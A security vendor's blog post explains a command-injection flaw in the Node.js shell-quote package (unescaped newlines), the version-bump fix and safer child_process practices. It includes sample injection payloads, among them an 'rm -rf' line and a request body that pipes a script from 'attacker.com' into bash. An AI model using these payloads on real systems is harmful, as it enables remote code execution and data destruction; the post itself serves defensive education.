Back to Blog
critical SEVERITY10 min read

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) in shell-quote 1.8.3 allowed attackers to achieve arbitrary code execution by injecting unescaped line terminators into shell-parsed strings. The fix upgrades shell-quote to 1.8.4, which properly escapes these characters before they reach shell interpretation. Because this dependency appeared in production code—not just dev tooling—any user-influenced input flowing through shell-quote was a live attack surface.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the Node.js shell-quote package versions up to 1.8.3. The flaw occurs because shell-quote fails to escape line terminator characters (such as `\n` and `\r`) when quoting shell arguments, allowing an attacker who controls input to break out of the quoted string and inject arbitrary shell commands. The fix is to upgrade shell-quote to version 1.8.4, which correctly escapes these line terminator characters, and to pin the dependency in both `package.json` and `package-lock.json` to ensure the patched version is installed consistently across all environments.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixUpgrade shell-quote from 1.8.3 to 1.8.4, which escapes line terminators before shell interpretation
riskArbitrary code execution on the server or in any shell spawned by the application
languageJavaScript / Node.js
root causeshell-quote 1.8.3 did not escape newline (`\n`) and carriage-return (`\r`) characters when constructing shell-quoted strings
vulnerabilityCommand Injection via Unescaped Line Terminators

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It


Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Command Injection via Unescaped Line Terminators |
| CWE | CWE-78 — OS Command Injection |
| Language | JavaScript / Node.js |
| Risk | Arbitrary code execution |
| Root cause | shell-quote 1.8.3 does not escape \n/\r characters |
| Fix | Upgrade shell-quote to 1.8.4 |


Direct Answer: CVE-2026-9277 is a critical command injection flaw (CWE-78) in the Node.js shell-quote package ≤1.8.3. The library fails to escape line terminator characters (\n, \r) when quoting shell arguments, letting an attacker break out of a quoted string and execute arbitrary shell commands. The fix is to upgrade shell-quote to 1.8.4 in both package.json and package-lock.json, which correctly escapes these characters before any shell sees them.


Introduction

The package-lock.json file in this React/Docusaurus web application locked shell-quote at version 1.8.3—a version that Trivy's software composition analysis (SCA) scanner flagged as critically vulnerable under CVE-2026-9277. The specific flaw: when shell-quote constructs a quoted shell argument string, it escapes the obvious suspects (single quotes, double quotes, backticks) but silently passes line terminator characters—\n (newline) and \r (carriage return)—through unmodified.

In most Unix shells and in Node.js's child_process module, a newline character is functionally equivalent to pressing Enter. It terminates the current command and begins a new one. So if an attacker can get a \n into a value that eventually passes through shell-quote, they can inject a second, completely separate shell command—regardless of how carefully the rest of the input was quoted.

Because this dependency was listed under dependencies (not devDependencies) in package.json, it was present in the production build. Any code path in this application that accepted user-influenced input and passed it through shell-quote was a live attack surface.


The Vulnerability Explained

What shell-quote Does

shell-quote is a widely-used Node.js utility that takes an array of command arguments and returns a properly shell-escaped string safe for passing to a shell. The classic use case looks like this:

const quote = require('shell-quote').quote;
const userInput = req.body.filename;

// Intended to safely wrap user input in a shell command
const cmd = `cat ${quote([userInput])}`;
child_process.exec(cmd, callback);

The library is supposed to make userInput safe by quoting it. For most characters, it does. But in version 1.8.3, it failed to handle line terminators.

The Specific Flaw: Unescaped \n and \r

Consider what happens when an attacker supplies a filename containing a newline:

const userInput = "file.txt\nrm -rf /tmp/important";
const quoted = quote([userInput]);
// shell-quote 1.8.3 output: 'file.txt
// rm -rf /tmp/important'

The shell sees this as two separate commands:
1. cat 'file.txt — a malformed but partially executed command
2. rm -rf /tmp/important' — the injected command (the trailing quote is ignored or causes a benign parse error, but the destructive command already ran)

In more targeted attacks, the injected payload can be crafted to avoid the trailing quote issue entirely:

const userInput = "file.txt\nwhoami > /tmp/pwned\n";
// Results in three shell lines, with the middle one executing cleanly

The vulnerable version in package-lock.json was pinned with this integrity hash:

"integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw=="

This hash uniquely identifies the vulnerable 1.8.3 tarball. Any environment that installed dependencies from this lockfile would receive the vulnerable version.

Why This Is Rated Critical

The CVSS rating is critical because:

  • No authentication barrier is implied. If the application exposes any endpoint that takes user input and feeds it into a shell command via shell-quote, exploitation requires only an HTTP request.
  • The impact is full code execution. The attacker's injected command runs with the same OS privileges as the Node.js process—often enough to exfiltrate data, establish persistence, or pivot to internal services.
  • The attack is web-facing. The PR description explicitly identifies this as a web application, meaning the attack surface is exposed to the internet.
  • Exploitation is straightforward. Line terminator injection is a well-understood technique; automated scanners and exploit frameworks already know to try it.

Attack Scenario for This Application

This is a Docusaurus-based application with React on the frontend. If any server-side route (e.g., a build script, a search indexer, a file preview endpoint) accepts a filename or query parameter and passes it through shell-quote before executing a shell command, an attacker can:

  1. Send a POST request with a body like { "query": "search term\ncurl https://attacker.com/shell.sh | bash\n" }
  2. The application calls quote([query]) using shell-quote 1.8.3
  3. The newline passes through unescaped
  4. child_process.exec() receives a multi-line string and executes the injected command

The Fix

The fix is precise and minimal: upgrade shell-quote from 1.8.3 to 1.8.4. Two files were changed.

package.json — Adding the Explicit Dependency

-    "roughjs": "^4.6.6"
+    "roughjs": "^4.6.6",
+    "shell-quote": "^1.8.4"

Before this change, shell-quote was a transitive dependency—pulled in by another package but not explicitly declared. This is a subtle but important security gap: transitive dependencies can be silently upgraded or downgraded without a developer noticing. By adding shell-quote: "^1.8.4" as an explicit direct dependency, the project now enforces a minimum safe version regardless of what upstream packages request.

package-lock.json — Pinning the Safe Version

-      "version": "1.8.3",
-      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
-      "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
+      "version": "1.8.4",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.4.tgz",
+      "integrity": "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==",

The lockfile change does three things simultaneously:
1. Updates the resolved version from 1.8.3 to 1.8.4
2. Updates the integrity hash to the SHA-512 of the new tarball — any tampered or incorrect package will fail the integrity check at install time
3. Ensures reproducibility — every developer, CI pipeline, and production deployment will now install exactly 1.8.4

What Changed Inside shell-quote 1.8.4

The upstream fix in shell-quote 1.8.4 adds explicit escaping for \n and \r characters during the quoting process. Where 1.8.3 would pass these characters through a quoted string unmodified, 1.8.4 escapes them (typically as $'\n' or equivalent ANSI-C quoting syntax, or by replacing them with safe representations) so that the shell treats them as literal character data within the argument rather than as command delimiters.

The behavioral change is invisible for legitimate use cases—filenames and arguments that don't contain line terminators behave identically. Only malicious or malformed inputs containing \n or \r are now handled differently, and they are handled safely.


Prevention & Best Practices

1. Prefer Argument Arrays Over Shell Strings

The single most effective prevention is to avoid shell string construction entirely. Node.js's child_process.execFile() and child_process.spawn() accept argument arrays that are passed directly to the OS without shell interpretation:

// Vulnerable pattern — avoid this
const { exec } = require('child_process');
exec(`cat ${quote([userInput])}`, callback);

// Safe pattern — use this instead
const { execFile } = require('child_process');
execFile('cat', [userInput], callback);

When you use execFile or spawn with an array, there is no shell involved, so shell injection—including line terminator injection—is structurally impossible.

2. Keep Dependencies Explicit and Pinned

Transitive dependencies are invisible attack surfaces. If you rely on a library that uses shell-quote internally, you won't see it in your package.json and you won't think to audit it. Adding security-sensitive transitive dependencies as explicit direct dependencies (as this fix does) gives you direct control over their versions.

3. Run SCA Scanners in CI

Trivy detected this vulnerability in package-lock.json before it was exploited. Integrate SCA scanning into your CI pipeline so that every pull request and every dependency update is automatically checked:

# Example GitHub Actions step
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@master
  with:
    scan-type: 'fs'
    scan-ref: '.'
    severity: 'CRITICAL,HIGH'
    exit-code: '1'

4. Enable npm audit as a Pre-commit Gate

npm audit will catch known vulnerabilities in your dependency tree:

npm audit --audit-level=critical

Add this to your pre-commit hooks or CI pipeline to fail builds on critical issues.

5. Understand the OWASP and CWE Context

This vulnerability maps to:
- OWASP A03:2021 — Injection: Shell command injection is one of the oldest and most dangerous injection classes
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-116: Improper Encoding or Escaping of Output (the root cause—shell-quote failed to encode line terminators)

Understanding these classifications helps you recognize the same pattern in other contexts: SQL injection, LDAP injection, and log injection all share the same root cause of insufficient output encoding.


Key Takeaways

  • shell-quote 1.8.3 is not safe for user-controlled input. The specific gap—unescaped \n and \r—is exactly the kind of edge case that looks safe in code review but is exploitable in practice. Only 1.8.4+ should be used.
  • Transitive dependencies need explicit version control. This fix promotes shell-quote from an implicit transitive dependency to an explicit one in package.json, giving the project direct control over which version is installed.
  • The integrity hash in package-lock.json is a security control. The old hash sha512-ObmnIF4h... uniquely identified the vulnerable tarball; the new hash sha512-VsC6n6vz... uniquely identifies the safe one. Supply chain attacks that swap the tarball will fail the integrity check.
  • Line terminators are shell command delimiters. Any library that constructs shell strings must escape \n and \r, not just quotes and special characters. This is easy to miss and easy to exploit.
  • For this web application, the attack surface is internet-facing. A critical dependency vulnerability in production code of a web app is not a theoretical risk—it is an exploitable condition that any automated scanner or motivated attacker can reach.

How Orbis AppSec Detected This

  • Source: User-influenced input entering the application through HTTP request parameters or body fields in the web application's server-side routes
  • Sink: Any call to shell-quote's quote() function followed by passing the result to child_process.exec() or equivalent shell-executing APIs
  • Missing control: shell-quote 1.8.3 lacked escaping for line terminator characters (\n, \r), meaning these characters passed through the quoting layer unmodified and were interpreted as command delimiters by the shell
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Upgraded shell-quote from 1.8.3 to 1.8.4 in both package.json and package-lock.json, which adds proper escaping for line terminators in the quoting logic

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a sharp reminder that security vulnerabilities hide in the details. shell-quote was doing most of its job correctly—it escaped quotes, backticks, and shell metacharacters—but it missed line terminators, and that gap was enough to enable arbitrary code execution. The fix is a one-version bump, but the lesson is broader: shell argument quoting is harder than it looks, and the only safe long-term strategy is to avoid shell string construction with user input entirely.

For this application, the upgrade from shell-quote 1.8.3 to 1.8.4 closes the vulnerability with zero behavioral change for legitimate inputs. The updated integrity hash in package-lock.json ensures the fix is reproducible and tamper-evident across every environment. And the addition of shell-quote as an explicit dependency in package.json means the project now owns this security boundary directly, rather than inheriting it silently from a transitive chain.

Keep your dependencies explicit, your lockfiles committed, and your SCA scanners running on every build.


References

Frequently Asked Questions

What is a command injection vulnerability via line terminators?

It is a flaw where an attacker embeds newline or carriage-return characters in input that is passed to a shell command builder. Because these characters act as command delimiters in many shells, they can break out of a quoted argument and inject new, attacker-controlled commands.

How do you prevent command injection in Node.js shell argument handling?

Always use a well-maintained, up-to-date quoting library such as shell-quote ≥1.8.4, avoid constructing shell commands from user input wherever possible, prefer `child_process.execFile()` with an argument array over `exec()` with a string, and validate or sanitize all user-supplied values before they reach any shell-related API.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is escaping quotes enough to prevent command injection in shell-quote?

No. shell-quote 1.8.3 escaped single and double quotes but missed line terminator characters (`\n`, `\r`). Attackers could use these unescaped characters to terminate one command and begin another, bypassing quote-based escaping entirely. A comprehensive fix must escape all shell-special characters, including line terminators.

Can static analysis detect this type of command injection?

Yes. Tools like Trivy (which flagged this exact issue as CVE-2026-9277), Semgrep, and npm audit can identify vulnerable versions of shell-quote in a dependency tree. Trivy's SCA scanner detected the vulnerable 1.8.3 version in `package-lock.json` and reported it as exploitable.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #21

Related Articles

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the `simple-git` Node.js library that allowed attackers to bypass previously applied security fixes. Applications using `simple-git` versions below 3.32.3 remained exposed even after earlier patches, and upgrading to 3.32.3 — which introduced hardened argument parsing via new `@simple-git/argv-parser` and `@simple-git/args-pathspec` sub-packages — closes the bypass. This fix is especially urgent because the vulnerability affects

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators in parsed shell arguments could allow attackers to inject and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4 and pins the resolution in both `package.json` and `yarn.lock` to ensure the patched version is used across the entire dependency tree. Because this package is used in a production web application that processes user-influenced input,

critical

How Command Injection happens in Python PopClip Extensions and how to fix it

A critical command injection vulnerability was discovered in `contrib/Klipz.popclipext/Klipz.py`, where user-controlled clipboard content was concatenated directly into shell commands executed via `osascript`. The fix replaces unsafe string concatenation with `subprocess` and proper argument lists, and replaces the unsafe `pickle` serialization with `json` to eliminate a secondary deserialization risk. Together, these changes close two distinct attack surfaces in a single file.

critical

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and